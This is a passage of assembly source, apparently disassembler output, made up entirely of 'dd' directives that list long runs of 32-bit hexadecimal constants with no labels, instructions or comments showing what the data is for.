		dd 0ADE5ED5Ch, 45A11F77h, 20F328D3h, 0D67B7E3Ch, 94A18605h
		dd 6E9592EFh, 0C1345A7Bh, 0C6AA746Ch, 8B288D53h, 491F54D2h
		dd 0BE2D82E8h, 1EE6101Ch, 5DEA7CF2h, 0A639B4h, 681822E3h
		dd 0FF27ACCDh, 5AD0E272h, 0E30D8312h, 0E22DF341h, 0B605A721h
		dd 322E49A4h, 0FEEAF118h, 0B6001724h, 0D43EEAA6h, 7597912Dh
		dd 0F569AFB4h, 0AEF54492h, 9DB9A5E2h, 2DBA6483h, 16DEF69h
		dd 38E9CC44h, 0CB7A35CFh, 0B43D6EE9h, 0AD91F4F9h, 5117C8D5h
		dd 911CC545h, 4D898A5h,	0A611B555h, 6D21601Ah, 0AB63A3D0h
		dd 5235DBFBh, 0C5CDFD94h, 733FF458h, 91206506h,	0D6B30397h
		dd 823955DDh, 0A3A171BDh, 0A7AF9308h, 0C4DD189h, 80C9EE4Fh
		dd 0E7BEDB7Dh, 177C7895h, 0DA6C5D78h, 0B7E374DDh, 19C83EE3h
		dd 97EA8C37h, 0A6913DB7h, 396FD771h, 0E9799129h, 3E99AFCAh
		dd 0F39CCBA2h, 0B7E90DBAh, 22378D24h, 0C181CABBh, 9E18A681h
		dd 0E5EE3FE1h, 3F9C46B4h, 4F28DA72h, 0E0C9ED9Fh, 4F08BE13h
		dd 8F20F722h, 95D95339h, 0FC6460B9h, 0DD29085Ah, 0FDCF3502h
		dd 2C1FF2EAh, 6786AC9Ch, 0AC384C82h, 6F6E9FC1h,	0A1EA9A6Ch
		dd 0C1968BEh, 5FAB99D1h, 3C172492h, 1C1B4F59h, 4AA82695h
		dd 3B885577h, 0EDC49E48h, 41D420F2h, 0E462B717h, 8A1AED63h
		dd 0F7E715DFh, 0BB827AC9h, 60CC9884h, 0E231CDFBh, 21A9C20Eh
		dd 3FFD26EEh, 0BE49C361h, 0BE5824ADh, 0B505964Dh, 9BCACB39h
		dd 0FA5FEC3Eh, 0A7F818ECh, 2B84BD35h, 4A9ADC97h, 78CD010Ch
		dd 50E31188h, 2C19D186h, 0AE1AA801h, 338BE661h,	0B1ED2BD2h
		dd 41A0BBE5h, 4C13BE85h, 0C277B794h, 0AC79B4F5h, 0D594EE29h
		dd 9DD61E22h, 0BA89F2B2h, 0E66DFC30h, 0F0C171AAh, 0F4F66D84h
		dd 5991C715h, 8A08CBBh,	7353011Eh, 35DB1C39h, 156D49A9h
		dd 2E45C6ECh, 2FC6BADCh, 0C7E4F002h, 3ED73235h,	80C150CBh
		dd 91974DDBh, 0DCE85F6Fh, 0AA3604E6h, 2AE60542h, 251BB331h
		dd 84A1F5CCh, 37EF1987h, 40A8DCA3h, 0A8904C3Dh,	3A988821h
		dd 5A9D612h, 5E26227Dh,	62262CB5h, 0F84A50BBh, 203E5AD7h
		dd 0BCD182D0h, 84527B4Ch, 13F74685h, 9149CD71h,	6B1DC008h
		dd 5695828Ch, 0FA6B664h
		dd 425D5BFCh, 0F47DFC8Dh, 0C05B3DE0h, 0D906A21Ah, 80E72738h
		dd 605B1549h, 9E2D841Ch, 9AA19DDCh, 81DE42A0h, 3F0EC7E4h
		dd 980BF079h, 0EF7F1A66h, 5427EA2Ah, 0F0F0E32Ah, 94B0ECAAh
		dd 1222E2FFh, 52B03767h, 2996E1F4h, 0F3F0B8BCh,	0E67B0F41h
		dd 686AAD89h, 84263FB3h, 0C308420Eh, 95833799h,	6ACA7C9Fh
		dd 6E2C961Dh, 0EB573AB0h, 0FCB4FF18h, 1585323Ah, 1DCCDFB7h
		dd 0FFC014A5h, 0AA25D710h, 98436014h, 0EE7A5F5Eh, 0E0F91628h
		dd 0A2E8245h, 5BD63562h, 42A077A7h, 0C65AC17Bh,	65DCB2B4h
		dd 41407717h, 4A21AE64h, 4D43F7F5h, 9EFD4441h, 0B74EC3B6h
		dd 81F35F96h, 5ED73F89h, 55A94BB5h, 751CCB15h, 6C100CA8h
		dd 20FEE049h, 0DC4A0B41h, 0D326CFFCh, 2EB75B97h, 86EA65Ah
		dd 4291C3F4h, 34624CA9h, 0DE43244Ah, 509636CCh,	0D6DD16A6h
		dd 0ED805B40h, 41E44171h, 0CA3F9F85h, 4B489CCDh, 0F1AD7683h
		dd 0B48CF310h, 46CD561Ah, 47A3DCE9h, 0D1EB322Bh, 523C400Dh
		dd 80E17CFBh, 337A8F03h, 6F215759h, 0B7B9930Dh,	83F426AFh
		dd 253D5096h, 0ABB6D5B3h, 400527D9h, 0ED3A869h,	0FD55C49Fh
		dd 0FB36E51Ah, 0F585C325h, 935CD275h, 88151616h, 9B22FFB3h
		dd 1964A7ABh, 5EFB0A97h, 76EDE6CEh, 0A251ADF3h,	0E7BABC08h
		dd 9B654F75h, 0CEAB70E0h, 5DB2E3CBh, 0A5B6E04Fh, 8EA9389Ah
		dd 6FD033B6h, 5DFA99B1h, 96C35578h, 8D3DBE20h, 1C799ED3h
		dd 87340FF2h, 18970A34h, 5B960306h, 455ED306h, 0C964A612h
		dd 15328A46h, 57C5770Ch, 0A87D4861h, 43BB0AA5h,	347161C1h
		dd 0F8019069h, 0B20C8402h, 7D4FF43Bh, 71C1296Fh, 2C72EE75h
		dd 41FAE71Eh, 0BAAB3091h, 4CF5846Ch, 9DE9CC25h,	63E3E622h
		dd 0A87A373Fh, 0E43BD3A7h, 0CD4D4B55h, 6EAA877Fh, 51092BB9h
		dd 16CE2D98h, 40FD1615h, 368542A8h, 0E0A40336h,	83393944h
		dd 7CC49A5Dh, 0B8ED6CCFh, 7ED48B55h, 0FC101381h, 537C1A49h
		dd 0D1858E65h, 1BA8461Eh, 22AE7948h, 0C57A78Eh,	32D176ACh
		dd 79FF6954h, 80DEDE1h,	0CD847AC8h, 98460564h, 382CE976h
		dd 0FE921B7Ah, 0AAE9B53Fh, 819FEE01h, 0F68D09C4h, 11D2832Fh
		dd 9968DFB4h, 0BEE1ED93h, 7EA79934h, 64074B32h,	0E150AE1Ah
		dd 0D3B79CDBh, 9AF3D93Dh, 0EF161524h, 6D9E4463h, 0F7264018h
		dd 6EBAD229h, 90C07507h, 7C487424h, 17AD6150h, 0C2E54171h
		dd 0A78FF579h, 5C6F0470h, 9B21CBF9h, 47A0393Dh,	77AA23Fh
		dd 23364902h, 4493A2CBh, 0B0FCE286h, 71BE6720h,	0F7E9F0FFh
		dd 0D406E336h, 2034818Ch, 0F3D4FEADh, 9F8C8FC2h, 53263CA9h
		dd 7B6DE0D1h, 8E2B4161h, 9DA830EEh, 3D7DE8FDh, 8EE99CFAh
		dd 77815F9Eh, 755796DFh, 5350F6h, 27A2294Dh, 0DFCD1024h
		dd 6751FF6Bh, 48E722E4h, 0CD900814h, 0CAF6FAFh,	8E090BDBh
		dd 3CB45907h, 0BEFF72FDh, 92FD0981h, 3E45986Bh,	0A9002202h
		dd 2011A180h, 3DAEBBCAh, 25297C67h, 16347529h, 3B55C6D9h
		dd 508088F4h, 0C88F74D5h, 10E6C578h, 802FDE51h,	1BFE2CE8h
		dd 0D4EC3803h, 568F375h, 566ACBACh, 477F41D8h, 0DCA7DB37h
		dd 9CAFF67Ch, 0F681C2DFh, 0DB5E6510h, 0E4195C93h, 8C80E9Ch
		dd 7D2D1849h, 0A95B4961h, 85731C32h, 0B8D95ED5h, 0BDE74437h
		dd 68C4CAA9h, 0BFC285EEh, 2CA4FA5Ah, 0BEB4C3EFh, 0E68E6C6Fh
		dd 0EC02C0CAh, 3B5E7A20h, 381164B9h, 25388F7Bh,	31BDBEE9h
		dd 709A28F4h, 0B5D92284h, 22DBDC9Ch, 59E156Fh, 0B5A8F09Ah
		dd 57900AE9h, 0E96283C0h, 76EB619Ch, 0C79AF0D1h, 98348296h
		dd 696A0554h, 0BF903B8h, 0DD7966A6h, 7D03538Dh,	0B0EEF29Ch
		dd 2610277Ah, 0F35CB19Ah, 0EEBCFF50h, 1B8D953Ah, 636DC637h
		dd 2300AD9Bh, 6B712DC6h, 4468BA11h, 0F02F41AFh,	0D276E7FBh
		dd 7375C3Fh, 117EE4DAh,	63E57A3Dh, 8DAAA415h, 750B5ED8h
		dd 5013675Ah, 11E82CE9h, 0C87F7C00h, 11910BF8h,	6870A79Eh
		dd 586F9B49h, 0D704D98Fh, 0F450C4BFh, 4B80B128h, 0A2EB2F2Ch
		dd 2FAC5BCEh, 0A39885B3h, 4428DC4h, 960468ECh, 0EDF2B3F6h
		dd 0D468A882h, 0A1AF2391h, 0C3B4B288h, 5482E7ADh, 81F58F84h
		dd 0CEC5C8D2h, 0E7216BB4h, 5AB5D157h, 0D1ACD47h, 0FB9FDDA8h
		dd 0B08EDBCBh, 0ACC95CFDh, 7D16C990h, 2F130F97h, 0F6E4C2ADh
		dd 8F12EAFBh, 0E6A8526Bh, 67C7BCB1h, 1B77AB01h,	43F1F31h
		dd 0B9CF8BCDh, 85E5CE21h, 60F75312h, 0D06B268Ch, 0FBA6CC83h
		dd 0E59E7236h, 0D1FD7CE5h, 0F07CFAC0h, 0C3E097F3h, 36524A9h
		dd 7A6AABF3h, 49D2FFE5h, 0ABD3ED59h, 0BAFE0F8Ch, 19603ADDh
		dd 0B31BBCECh, 4382123Bh, 4CA60658h, 0F28194B6h, 361A2C83h
		dd 3CDD5C03h, 74265AEDh, 4E77E3AAh, 6E09E939h, 463B05B3h
		dd 76A2A08Dh, 1C1BC4F6h, 66616D34h, 9750309Fh, 0A5FBCAF6h
		dd 6A3B8F4h, 0A5619993h, 0D3B8F380h, 79FA447Ch,	8D86919Fh
		dd 566B8F75h, 0E89B554Dh, 9A269332h, 0EA791AB4h, 3C689B99h
		dd 6B2C83B5h, 6EAED7B0h, 4C009439h, 0A8381549h,	35EA64D4h
		dd 87593798h, 55D62245h, 3BCEEF99h, 77FE495Fh, 0D01389DFh
		dd 0E748B80h, 4E656AD5h, 659E2D7Dh, 6B55EBFh, 81D23868h
		dd 9C5885ADh, 0F65ED3BAh, 0E2E6365Eh, 4D38699Ah, 0C292A51Eh
		dd 0C5770AE2h, 52BE925Eh, 0C0DC5B69h, 7E1BA195h, 0E9C2E5BAh
		dd 36AB3767h, 241BB000h, 0A249E1BEh, 656DB65Eh,	669E9B89h
		dd 42639CDDh, 0E284B0Dh, 1359BD35h, 607F5A64h, 0DC938DEBh
		dd 30E579D4h, 400826D6h, 0B19DD74Fh, 1F06F0Fh, 0DECACEBBh
		dd 0A20E9396h, 0D6099E60h, 1171F7E2h, 1BC40115h, 9D22A46h
		dd 3C23D30Dh, 1E53C6EBh, 0A3DE08AEh, 701EC228h,	0AB5E391Eh
		dd 27670D3Ah, 67E8C5A3h, 10DC1A32h, 172289DFh, 0AF0BCD63h
		dd 0CB17A82Fh, 20E921A5h, 43B3D546h, 7A7627F7h,	0ABF29D4Ah
		dd 0AEBACCCCh, 0FC93660h, 0F58C0A0Ch, 0FE313A79h, 0D37AC882h
		dd 0FE3622B6h, 0F3E4E4ADh, 0C48A5D7Fh, 6EA4AD54h, 66C5D7DAh
		dd 7253B527h, 0BC9643BBh, 4E2457BDh, 6EDA605Ah,	0E38B1EFAh
		dd 0EEBD6E4Ch, 99C0DB09h, 1E3C41B8h, 0D5176483h, 3AEA4DDBh
		dd 0E95D5E84h, 0BF39B389h, 0C9DB05B2h, 1033FA36h, 0C815B02Ah
		dd 0EE2735EEh, 0C428C4DAh, 0B786083Dh, 4DA65F3Dh, 0FCAAFFDBh
		dd 10F4E8C0h, 0F0F5416Fh, 0C9DA0EA0h, 42A6E86Bh, 5EAECAF1h
		dd 533AF292h, 3772947h,	0E1643BAAh, 182D748Bh, 1C9ED54Dh
		dd 0F65CE9E1h, 5D74A9B8h, 8D25E9A7h, 0F5D87106h, 0F8A8B489h
		dd 0CBD6C13Eh, 98FAE860h, 1D0BB6C9h, 21E5085h, 608D84B4h
		dd 6611E7E5h, 11DBF928h, 15A30333h, 50F43DEDh, 0AC788C54h
		dd 5CC80D02h, 5CE23D01h, 8A9A4674h, 0F66DD695h,	439B1617h
		dd 0EA9A35C0h, 0C3FBA41Bh, 4F8650FBh, 88132E82h, 6777CB40h
		dd 0DDC8CE8Fh, 8D47BDB8h, 0E70877BDh, 0DF0689ABh, 0D975DF2Ah
		dd 0F8295ECh, 4E112192h, 7BB37448h, 225DD2CDh, 0F9586959h
		dd 97D72808h, 0AAE3FD14h, 0B16A4E93h, 955230DAh, 8FB25758h
		dd 50AE7FF1h, 7C7721A1h, 0A0D27C31h, 4956F164h,	392A9285h
		dd 9382E63Fh, 857D1694h, 9E907DFFh, 6FF6C7B0h, 1AF2487Bh
		dd 0CDBCA04Ah, 886CB88Ch, 0BF6D16C8h, 66B26DBEh, 0C10E8B6Ch
		dd 3B8BD358h, 134CA38Dh, 9074692Fh, 0CC7968D5h,	0E3C58D92h
		dd 0CBA01170h, 52B20433h, 0AAF68CE3h, 0A8DB3825h, 118AEDA2h
		dd 38A507AFh, 0A0AD2D34h, 0F0C2C04Ch, 3E92D142h, 2CF26289h
		dd 0E042B2h, 1F5CD190h
		dd 0BC4DD45Bh, 802771F9h, 0FB52E78Bh, 0D381FDD6h, 0C889D270h
		dd 0BAC31542h, 15246A0Ch, 0F8213004h, 0F5BC1A7Dh, 0B7F8E4C6h
		dd 2C9F8D0Ah, 1A618105h, 4E98C8A5h, 4513D380h, 49BE8596h
		dd 79E9BB4Ch, 5B24088Bh, 0A9EEB1E9h, 0B49F0819h, 0BE4B208h
		dd 0D2375A98h, 0ADBAD248h, 25FB20BEh, 0F45A9B76h, 0F8196C25h
		dd 9117CD0Bh, 9E52197Fh, 21F88859h, 45ADF052h, 0AFF865CCh
		dd 0EF44E32Fh, 0E0E808FBh, 0F7CA4697h, 6899D369h, 900FD022h
		dd 5D411C07h, 0D3B2C8D5h, 5ABABA00h, 216EBFBh, 319B7F97h
		dd 269623E8h, 8239C8E5h, 0E552A8F7h, 2EB13B7Bh,	98154EA6h
		dd 7BCEE672h, 7ECDF302h, 7BE852BFh, 0EAB9DA16h,	5B402A81h
		dd 6C1FF41Fh, 2A429314h, 129C6742h, 0D1D82023h,	3D702A5h
		dd 55A26680h, 7F787657h, 5014BAABh, 0DA61A71Bh,	3ED4753Eh
		dd 55FE1D28h, 74B14816h, 728292AFh, 0F4D9037h, 4DF6BD28h
		dd 0E8EDDC7Bh, 6B7E5BE6h, 79FD6D8Ch, 0B321B1BFh, 587C18C1h
		dd 0C41BF575h, 729FF94Ah, 0AA56991Dh, 321561C9h, 4CAC36C3h
		dd 0F093BE1Ch, 666479ACh, 52FA9B41h, 1B7811Bh, 0E677BE06h
		dd 849C7B42h, 37770027h, 1AB18A60h, 1143D13h, 972470C0h
		dd 0B10B79E6h, 6B095A8Dh, 8CECAB17h, 526CA7B8h,	33D7A3AEh
		dd 1BEA6E3Bh, 1B27C34Fh, 0F1C39D9Fh, 0B5C7FB47h, 0BA600339h
		dd 32E2F17Ch, 61A96AA4h, 2606E91Dh, 2E6506C0h, 0D66CFA08h
		dd 0D5B1725Bh, 0DD15A736h, 0E75BDA77h, 173430CFh, 0F3FF9E3Ch
		dd 14ACF907h, 9CB5E8BCh, 0D7534133h, 0B1E05C02h, 0D980B687h
		dd 524CF3CEh, 0AA797791h, 6D80A46h, 71907DEDh, 9A6DAE2Ch
		dd 73260706h, 450E38AEh, 0B99620EAh, 0AADFBB66h, 55092866h
		dd 8DBE1E22h, 0C851FF3Fh, 66DAD8C5h, 2B34413Fh,	347CE34Ah
		dd 4E7B0E5h, 2EF0CB00h,	3B52E97Dh, 84EF8228h, 8B481246h
		dd 0BED9D8BFh, 0B6E2FDCAh, 93045EE4h, 18E3C318h, 0C05BC535h
		dd 8471A35Bh, 61469B58h, 645FBE99h, 0D669F4FCh,	5FD60509h
		dd 0F25C22E0h, 0CD3C031Ch, 0B52A944Fh, 0B4491960h, 59B9573Ah
		dd 0F638A253h, 0B56E5EBFh, 3008DDAh, 8CC0850Ah,	796A34A9h
		dd 5189738Ah, 34412949h, 0EF470BB9h, 0CBB0CF14h, 9459353Eh
		dd 4E99105Ch, 4431B481h, 31C02D89h, 214A4345h, 754401EAh
		dd 69A2C7A4h, 89426709h, 908C01F5h, 9D858067h, 3DA6AB40h
		dd 4C9CFE6Dh, 0A775496Ch, 3F3B0215h, 9B473C85h,	582FC0B3h
		dd 7C07F3C7h, 0E39D330Bh, 6E9AF25Bh, 0C5440893h, 0DF75DA15h
		dd 9904C233h, 0D3EACB41h, 0BA0B14B6h, 0FD724D03h, 0AE406441h
		dd 0A4D2FDE7h, 8F1602C5h, 85225222h, 3D2DDBDAh,	0BC12B66Fh
		dd 2487A1B3h, 35F5AB8Eh, 81292560h, 0C725999Eh,	47A57780h
		dd 0EE9D672h, 8D094911h, 4FE45325h, 20F6D843h, 6BFCBD11h
		dd 8E57E86Dh, 0EC31EF1Ah, 7A71B80Eh, 0B5B5ABC8h, 3090FD4Ch
		dd 33684511h, 31756D4Ah, 6EB9268h, 0EECF6C16h, 97C5817Eh
		dd 0C6584FD7h, 0FC3EFB12h, 0F744616Eh, 0EFF432D0h, 0D997A845h
		dd 47BA44D1h, 12525745h, 289E6357h, 220BB665h, 6C6ADF0Eh
		dd 0B25E6FE0h, 871EB3FEh, 18162136h, 2F3EDCA7h,	0EFB6ACB8h
		dd 264921B8h, 3C3B787Eh, 70149F75h, 725696F3h, 0C6ED504Eh
		dd 65237B8Dh, 0DCA4AD2Dh, 397F080Ch, 4F695094h,	0D37BB63h
		dd 80E9D106h, 60F264E3h, 414279CDh, 0A6DA0917h,	6F770A11h
		dd 0BF5C0ABFh, 94822708h, 512FF568h, 60A86B20h,	10FE34B0h
		dd 0D78A3A8Ah, 9FCE37AAh, 2170378Fh, 0C097551h,	0F5CEAEDBh
		dd 69C39A7h, 0E215D31Fh, 3440D1AAh, 6C921973h, 82CB0C04h
		dd 0DA2AD8D2h, 155FAD5h, 859D0AC9h, 0AB005AF1h,	0DBB6FF8Eh
		dd 0D72D9084h, 17C94DFAh, 5D68E8B2h, 0BA406BB8h, 2752733Fh
		dd 0EBF6576Bh, 38E52FDFh, 0D3920687h, 2D814B4Bh, 4B4A6095h
		dd 0D9330B8Ch, 0C467866Ah, 1D773EFFh, 22F702B2h, 0A2EFE39Ah
		dd 4E77BCF5h, 0AA47640Bh, 974D3A9Fh, 0B3470DCEh, 488CBF24h
		dd 0B2DAFE9Eh, 6300ECC4h, 0C091B811h, 18338C79h, 103682EEh
		dd 0A1F53C62h, 46109557h, 0E46DB3B5h, 86A73A6Eh, 0BC00F73h
		dd 346D4DD1h, 0B15DB73h, 6CD67FC8h, 1AD37593h, 6AF49013h
		dd 0F0D20486h, 5B7DFE9Bh, 0A32F8F6Bh, 9CB57FB1h, 5A0D0316h
		dd 0CB470F0Ch, 0F672040Ah, 7EF6CBF9h, 0F67DAF51h, 0F327836Eh
		dd 20970DADh, 6592B50Dh, 98159313h, 40E6EC67h, 34F2E249h
		dd 8ABB5749h, 15CA0828h, 0D0D1415Ah, 9C818F0Bh,	51EC8206h
		dd 0A1F2754Dh, 0D84AF593h, 9AD1717Fh, 0E293B9DAh, 0B9183504h
		dd 809E3E5Ah, 0EF65A41Fh, 5F9015CDh, 493D15CEh,	0B4B143E3h
		dd 8F3C5E84h, 49E50CDh,	5C59A64Ah, 0CC002AC7h, 1556D852h
		dd 74020FBCh, 195D88DDh, 392233E1h, 38021A1Bh, 0FCBDD11Ch
		dd 0B7D5B21h, 0B23093E8h, 9773E0DAh, 0AFD4E15Bh, 18744FC4h
		dd 0B0ACCD54h, 0CC29643Eh, 0C5EBC6DFh, 8DA6DC44h, 0FF9A4051h
		dd 4023339Eh, 229157FBh, 0D2E83B63h, 56AC764Dh,	7E6084D9h
		dd 0BFE64B18h, 1099C58Eh, 0FF3858BAh, 0F07BB6CFh, 1BEC1700h
		dd 6930A02Bh, 6D68F7E7h, 0E03E2791h, 0B271645Ch, 0E3492D3Dh
		dd 0EEDFFB26h, 5DF9C494h, 37DF047h, 3BF1F029h, 540AE38h
		dd 3FE090F2h, 9DB870A8h, 0C138B8FFh, 0E941FE9h,	856922F8h
		dd 0DE9688D6h, 8E419F46h, 987069B2h, 1319D410h,	6550BD7Bh
		dd 49F4A0F2h, 4CFA1C19h, 0F7704DDDh, 892EE7B0h,	8DA62F96h
		dd 77FB62E0h, 33BAB735h, 1EEDC36Ah, 0EF667BE8h,	840B568Fh
		dd 4874A0B5h, 0BD887571h, 129ECECFh, 0D0A1D514h, 74941FEBh
		dd 3DE7D916h, 8166DEB3h, 84173BE0h, 9BD18E15h, 63CCA0AAh
		dd 0D9840301h, 0F404397Bh, 2908C2A3h, 4B050C84h, 8661E0E9h
		dd 0F2AC62CCh, 0D5990F67h, 41197FC0h, 1563AD89h, 0BDBC74FFh
		dd 1CE91CC1h, 0AE065DE9h, 751DEC8Bh, 0AAD01B38h, 0C4B9EEFDh
		dd 0B523917Bh, 911F8558h, 27D14096h, 991B3220h,	0FF6C556Eh
		dd 0E55C156Bh, 0D6BA5F82h, 6D735514h, 6EC3CC57h, 77D6A204h
		dd 0C55E68FBh, 17A2727Dh, 0B70E7D85h, 598E59CFh, 0EF7C7237h
		dd 48CF4544h, 2585E2A4h, 26425FBh, 6741DEB2h, 3F10532Ah
		dd 130E53B0h, 950C7EEAh, 6E036D18h, 34BC70DAh, 0F55FAD90h
		dd 0A15ABAE6h, 0CA9D78C9h, 34C496AEh, 0BC42CB5Eh, 0AE1F25AAh
		dd 6F828A8Ah, 0BCED352Eh, 0D6C5020Bh, 86708F85h, 0E931AE31h
		dd 2B66173Eh, 169E9DD5h, 58F91EF5h, 0BF342E5Ah,	50C9B490h
		dd 72F0F52Fh, 0E21D3CF5h, 9A40933Eh, 0B70630E8h, 0DBCB2E1Ch
		dd 4421F0E5h, 9215320Eh, 0CAC06A71h, 35BE3FF8h,	0F784DE28h
		dd 5B3BA70Dh, 5014B394h, 7AC3696Eh, 67554BBEh, 663200Dh
		dd 0CCD5A9D1h, 38B9A028h, 5D3D821Eh, 0BC0E59F1h, 0B645F152h
		dd 6B112DB1h, 0B86BB197h, 3521E586h, 0EB05FE4Dh, 59196CE3h
		dd 2DF8FA97h, 0F246D06Ch, 0F3820C1Eh, 0C0155583h, 0E20B097Eh
		dd 0E3CD8ED0h, 0FEC22B5Dh, 55A7C621h, 3E1B6CBBh, 37A5EDE2h
		dd 70C090F3h, 10F7B7C7h, 9A16297Fh, 732057B1h, 86B8B186h
		dd 66CA1896h, 37DE8C18h, 0EA8D089Dh, 0CB8D28A6h, 28DF9E9Eh
		dd 0DD2ECDFCh, 3B1175C5h, 0F07229D2h, 0A350D923h, 93A2E1BCh
		dd 3DB0679Dh, 0D7F959B0h, 0A6BF5211h, 9F54EC65h, 5694C1F6h
		dd 526574B0h, 0CD00FAEBh, 0AD35A0B1h, 44E274C0h, 0E8D69D52h
		dd 919A03A1h, 166E3D34h, 0F3326BB1h, 4D19FBCAh,	0BE121C7h
		dd 3E4919Dh, 0EFB946D1h
		dd 0E121715Dh, 1B9DC1E2h, 4DE0148Ah, 0EED28040h, 0F8BEEEC9h
		dd 0ADC06F6h, 3818C59Dh, 3F774D4Fh, 0DB5CEB82h,	0DF1DFB33h
		dd 3DA639FEh, 367A39CEh, 4C946A1Ch, 0E338588Fh,	6251C800h
		dd 521BA923h, 991820C2h, 619019B2h, 18AC34B8h, 795F5136h
		dd 0BC924E4Eh, 743EAD1Ah, 0B0A2B968h, 0D7A9AFE2h, 64493E4h
		dd 6F079328h, 9DAB1F88h, 7EDEB934h, 5B024D4Dh, 2BDC63BEh
		dd 0EE8744ABh, 0C7D3285Ah, 0B6C5C35Fh, 71B6E877h, 76BA8B9Fh
		dd 12549FFEh, 518749D6h, 0F532B543h, 7E11291Eh,	0F845864Dh
		dd 0BEE32240h, 2987CCF0h, 59E0E623h, 31ABFECCh,	361D4131h
		dd 0E801B8DEh, 8BEC0F10h, 7599FF4Eh, 1424A8ECh,	4CC8DE77h
		dd 43A34065h, 0B59C64Dh, 7EF0F961h, 713D35BAh, 5EC10CE6h
		dd 995E5FB3h, 364AA757h, 0BFC8E824h, 0CD9100BFh, 0E7C66B7Dh
		dd 500CF89Dh, 0A351409Ah, 0BD2F76Bh, 353B3834h,	8F35C1FAh
		dd 6A4A086Dh, 36794A28h, 79388ACBh, 0BB8214F5h,	1E508258h
		dd 8C21925h, 0AC445B43h, 74A6E09Fh, 36B16C3h, 0E31A7BFDh
		dd 0E6DDCA4Dh, 18A8D44Bh, 0A9E58FEDh, 6D3FC35h,	1DEDF819h
		dd 0E99C6599h, 0C740C85h, 88FB9712h, 0B30F549Bh, 66F20779h
		dd 46F2B45Fh, 1A8C228Eh, 0C4C517B6h, 0BAB5F927h, 0D0D7DAC1h
		dd 70F36359h, 95DA6737h, 0E291C1EAh, 33B7846h, 0B8FBCF08h
		dd 5C45138Bh, 0EF1667A9h, 10D7D113h, 0FA2349B7h, 0E16B93B9h
		dd 0E5DDE2E1h, 0EDDBEA21h, 0E70FA2FDh, 0E9E96DECh, 0C0A08C1Dh
		dd 0E8B2E20h, 134FCA7Ah, 0B41C7033h, 0EAF1718h,	0CF4DDB07h
		dd 0B42AF49Eh, 3162D349h, 845FFD32h, 0B83821B2h, 0BD0CAAC0h
		dd 1E7D8480h, 98916159h, 0FCD95193h, 852D3760h,	0BB000C8Fh
		dd 0C9E9E9B0h, 616C6A34h, 0BA278DC8h, 0FCC943ABh, 41CFA7D8h
		dd 939D51F4h, 592E0BBBh, 0E5151C9Ah, 2D3AD9BCh,	1052F9A9h
		dd 64FE470Ah, 78E5136Ah, 0CCDDECE8h, 2D909043h,	40153272h
		dd 2C86643h, 0F894508h,	2F5A64B9h, 710E4DB7h, 0E7C4D83Bh
		dd 1384668h, 0B5A9A530h, 7B14E9E9h, 0FDAE2785h,	0B3CD9D77h
		dd 3B296C1Fh, 355D1C3h,	64A8864Dh, 0C5032758h, 2C70126Fh
		dd 577398F7h, 9700B0C5h, 0CAE52795h, 0D3B6306h,	694DCA95h
		dd 0EE1248F6h, 4F2BEDE1h, 0D70CA5C9h, 4D792DB6h, 0C5F4394Ch
		dd 352B50DBh, 56F9AF5Ch, 0FACAF57Eh, 7DDCEE2Ch,	0D930ED2Fh
		dd 0FBE2D19Ch, 568D5F5Ch, 0B91C5917h, 4909AADCh, 0ACF6E33Ch
		dd 27167E1Ch, 2AAE319Eh, 35C457F8h, 48ADCFDBh, 0C1728407h
		dd 32484822h, 0B6E516Fh, 971B282Fh, 7D12D910h, 7FA18A09h
		dd 86C41C96h, 0BF9214EAh, 76688460h, 673CF4C7h,	0FE43FBB7h
		dd 0F443296Dh, 4617B8F5h, 0BA261769h, 144B296Bh, 0C032C4B4h
		dd 0EA8B8D6h, 2D274F03h, 5D1B4647h, 0D9C4FB7Fh,	88C520EAh
		dd 0D2F3B235h, 16FC417Ch, 54863F5Dh, 8C5D4F94h,	99F2B4EBh
		dd 0CC270B41h, 4F083D64h, 0AB8726C8h, 0B269F2ABh, 13EBB018h
		dd 0B296916Dh, 0AF5F1CB8h, 0AFA7903h, 0C80138C7h, 33ABE084h
		dd 9CDEDE6Bh, 5FC3536Ah, 3646D4D7h, 2C0E4C39h, 0A24E8EE2h
		dd 0E2898A57h, 36F81F8Dh, 89464E84h, 2C1FCA88h,	1B1C4844h
		dd 0F12F2B26h, 4B1A1CB4h, 0FABBF349h, 0EEF2069Fh, 0B0824802h
		dd 0F6131417h, 240D05EEh, 0E1B8661h, 0FCCCB4F0h, 6AF8107Fh
		dd 2FB0933Bh, 58175CF2h, 2603EFE0h, 39666912h, 8C99A44Ch
		dd 0BB923584h, 8294D997h, 0DD0E6BEAh, 49D69ABCh, 0F400E617h
		dd 770ADD2Ch, 10D030CCh, 2C3B7464h, 0E093A5C0h,	0D310E69Bh
		dd 6E7830B1h, 8DE9ABC4h, 17DE1BCAh, 5A1BA8Fh, 0AE52A70Eh
		dd 14C4A021h, 45A2CD9Bh, 1029841Dh, 0D821BAF7h,	506A7C12h
		dd 0DB263ACh, 5C69EBAh,	0B34E9BCDh, 0BED78A4Ah,	0CCDEE927h
		dd 0FD38ACA1h, 2F97D0F4h, 44E8C56Bh, 301699D5h,	0F2ED5D69h
		dd 25E0C462h, 4C5E46D1h, 366AE737h, 0E145C3BDh,	0D30B12D5h
		dd 3670075h, 151C7491h,	46C65FCDh, 0EEF2CDEh, 0DA40BE0Fh
		dd 0F493E341h, 0BE365300h, 0D123A0CCh, 76047481h, 0BF72547Ah
		dd 6F7A388Ah, 6A16DCF6h, 9DECAB33h, 632A810h, 8E7C033Ah
		dd 6896FFh, 29C23791h, 0FEEBDDC7h, 0D94C18DFh, 45C0E577h
		dd 0E3D8500Eh, 62270281h, 0AE86523h, 0AAF9C84Bh, 0A6C8AFB5h
		dd 845E8BCEh, 0C4CC37Fh, 4DCC09h, 7292E28Fh, 696BACC9h
		dd 0FEC95E7Eh, 0DED026DCh, 0DF37E42Eh, 151BBB0Ch, 84286C14h
		dd 2EB4DCC4h, 919D0E3Eh, 8256A05Bh, 0E51643FAh,	0D51FC9DEh
		dd 8D24C2EFh, 0A40906EBh, 28C87377h, 0F4055673h, 6F9811F1h
		dd 0A675ABA4h, 2829698h, 76280C0h, 0A9934E1Bh, 2DF1D765h
		dd 2E977527h, 3C8FD5Ah,	8D727248h, 8C118870h, 0A05BBCCEh
		dd 0AD003657h, 292DAA66h, 0E4626D5Eh, 1DB128D8h, 0E48072E5h
		dd 5AAD4FA0h, 0B1F517Fh, 5B9BB859h, 0C325D86Dh,	33F66FF5h
		dd 0FC62D707h, 0D36C4E30h, 0E2F40764h, 18A5B79Dh, 0DD1D7F58h
		dd 0C0B16FF4h, 0E51278E5h, 9A632CE0h, 0AE01368Dh, 9F6AAF1Ah
